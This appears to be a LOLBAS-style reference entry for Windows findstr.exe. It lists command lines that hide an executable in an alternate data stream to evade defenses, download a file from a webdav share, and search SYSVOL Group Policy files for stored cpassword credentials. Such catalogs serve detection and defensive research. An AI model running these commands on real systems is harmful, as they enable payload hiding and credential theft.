Write to ADS, discover, or download files with Findstr.exe Located at: C:\Windows\System32\findstr.exe; C:\Windows\SysWOW64\findstr.exe.
findstrfindstrSandbox: execFile · Timeout: 30s
system.file.alternate-data-stream credential.dump network.transfer.download Outputs
process.output Command execution output
filesystem_writeprocess_spawnnetwork_traffic Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file. (Add a file to an alternate data stream to hide from defensive counter measures)
findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exeSearches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file. (Add a file to an alternate data stream from a webdav server to hide from defensive counter measures)
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exeSearch for stored password in Group Policy files stored on SYSVOL. (Find credentials stored in cpassword attrbute)
findstr /S /I cpassword \\sysvol\policies\*.xmlSearches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file. (Download/Copy file from webdav server)
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}findstr is a Windows LOLBin. Write to ADS, discover, or download files with Findstr.exe Located at: C:\Windows\System32\findstr.exe; C:\Windows\SysWOW64\findstr.exe.